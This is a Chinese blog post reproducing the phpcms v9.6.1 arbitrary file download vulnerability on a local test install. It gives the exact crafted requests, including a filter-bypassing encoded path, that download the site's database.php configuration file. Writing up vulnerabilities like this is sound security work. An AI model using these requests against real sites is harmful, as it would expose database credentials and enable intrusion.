力作|phpcms_v9.6.1 任意文件下载漏洞

前面咱们一起学习了phpcms_v9.6.0,任意文件上传漏洞复现的过程,不知道小伙伴们后面有没有想到如何进行批量检测呢?我尝试写了个Python脚本,这里要感谢下小建建的API,哈哈,感觉效果还不错;欢迎写好Python的小伙伴们和我一起交流呀!

创作背景:

上周发完phpcms_v9.6.0,任意文件上传漏洞复现的过程的文章后,有小伙伴们说phpcms_v9.6.1的任意文件下载一直复现不成功,于是就有了本文。

基础环境:

1、 phpcms_v9.6.1源码。

2、 web应用环境用于搭建phpcms。

需要工具:

1、 BurpSuite 或者hackBar等。

2、 PHPStudy或者wamp等。

源码部署:

参考:phpcms_v9.6.0 任意文件上传漏洞的链接 :

https://mp.weixin.qq.com/s/hApXD2cKG0a83fzkRTjAlA

0x01 同样的按照常规的源码部署流程先将phpcms_v9.6.1部署到web环境中,部署完访问首页,我是在本地主机上搭建的,首页地址是:http://127.0.0.1/phpcms961/index.php,成功访问便是搭建完成。

0x02 进入后台开启在模块->手机门户 中开启wap站点,开启成功后整个基础环境就配置完成。

漏洞复现:

0x01 在未登录的状态下访问以下链接http://127.0.0.1/phpcms961/index.php?m=wap&c=index&a=init&siteid=1,得到ogpin_siteid:3eefztsyqwyn5Fg3Ns7vDrwhqXGkts26mnUk0r9j

0x02获取到ogpin_siteid后使用POST方法访问以下链接,POST DATA的值就是就是第一步得到ogpin_siteid的值,POST DATA参数名为userid_flash。

【Request】http://127.0.0.1/phpcms961 /index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=. /caches/configs/database.ph%*25*3ep%26modelid=1%26d=1&aid=1

【PostData】userid_flash=3eefztsyqwyn5Fg3Ns7vDrwhqXGkts26mnUk0r9j

得到ogpin_att_json:9b18kNFQJqHBkcjvJ7b2frhUSWYMdSCP2YWFK3cHTyRCW4eNlid12uYqwyosd8Yz_BJQkVbLOIokJFMdsSz2Hz9dYVfXKq4IPVNk_8KT-JNH0USR_oU70A7ehGmnFwCwi2p1ro1lNgVe7-OoUN0c7mXb2amfukXMd3Pi9JnLzZsOcJl5MxA

注:请求中标红的位置是想要要读取的文件路径,这里我读取的是数据连接文件。

0x03 获得到ogpin_att_json后访问以下连接地址其中a_k的值为0x02中的ogpin_att_json的值。

【request】http://127.0.0.1/phpcms961/index.php?m=content&c=down&a=init&a_k=9b18kNFQJqHBkcjvJ7b2frhUSWYMdSCP2YWFK3cHTyRCW4eNlid12uYqwyosd8Yz_BJQkVbLOIokJFMdsSz2Hz9dYVfXKq4IPVNk_8KT-JNH0USR_oU70A7ehGmnFwCwi2p1ro1lNgVe7-OoUN0c7mXb2amfukXMd3Pi9JnLzZsOcJl5MxA

便生成下载链接地址,点击下载,便下载获取得到database.php的文件,漏洞复现完成。

总结:

这个漏洞的复现过程也是属于较为简单的操作,需要明白整个漏洞利用流程,个别小伙伴们复现不成功,有可能wap未开启,或者第二步中绕过代码过滤时没处理好。同样有兴趣的小伙伴们也可以将这个过程用Python来实现,期待小伙伴和我一起交流。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-05-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏bboysoul

dnswalk的使用

介绍:dnswalk是一个DNS debugger, 用于域的转换和查询数据库 用法:dnswalk +选项+参数 参数

10020
来自专栏自由而无用的灵魂的碎碎念

使用Oracle SQL Developer 64位来访问Oracle 11g R2 64bit版本

之前,Oracle刚刚发布了Oracle 11g R2 for Windows版本。我的系统是Windows Server 2008 R2,所以安装的就是64位...

10710
来自专栏运维小白

19.16 不发邮件的问题处理

不发邮件的问题处理 因为虚拟机,可能存在一些bug,第一次配置的时候,经常会出现zabbix发现问题,做了邮件告警,但是邮箱却没有收到邮件的问题; 重新恢复快照...

21160
来自专栏云计算教程系列

如何在Ubuntu 16.04上安装Nginx

Nginx是世界上最受欢迎的网络服务器之一,负责托管互联网上一些规模最大,流量最高的网站。在大多数情况下,它比Apache更加资源友好,可以用作Web服务器或反...

70500
来自专栏运维前线

CentOS 7 安装GitLab

CentOS 7 安装GitLab GitLab是一个利用Ruby on Rails开发的开源应用程序,实现一个自托管的Git项目仓库,可通过Web界面进行访...

62880
来自专栏吴伟祥

系统服务管理工具 systemd 原

在RHEL 7.x/CentOS 7.x版本中,一个重要的改变就是 使用systemd 管理机制,

12830
来自专栏用户2442861的专栏

Cookie 和 Session 的使用简记

http://mertensming.github.io/2016/10/19/cookie-session/

9920
来自专栏PHP在线

Cookie与Session问答

1.Cookie运行在客户端,Session运行在服务器端,对吗? 不完全正确,Cookie是运行在客户端,有客户端进行管理;Session虽然运行在服务器端...

27430
来自专栏苦逼的码农

Linux养成达人4----一些相对有趣点的网络命令

这个命令的功能可以用来抓包哦。假如有用户来连接我们的Linux,我们就可以抓到各种信息,例如密码之类的。下面我来演示一下。我用window的操作系统来远程连接L...

11520
来自专栏玩转JavaEE

Redis快照持久化

redis的基础知识我们已经准备的差不多了,接下来两篇文章,我想和大家聊聊redis持久化这个话题。

15900

扫码关注云+社区

领取腾讯云代金券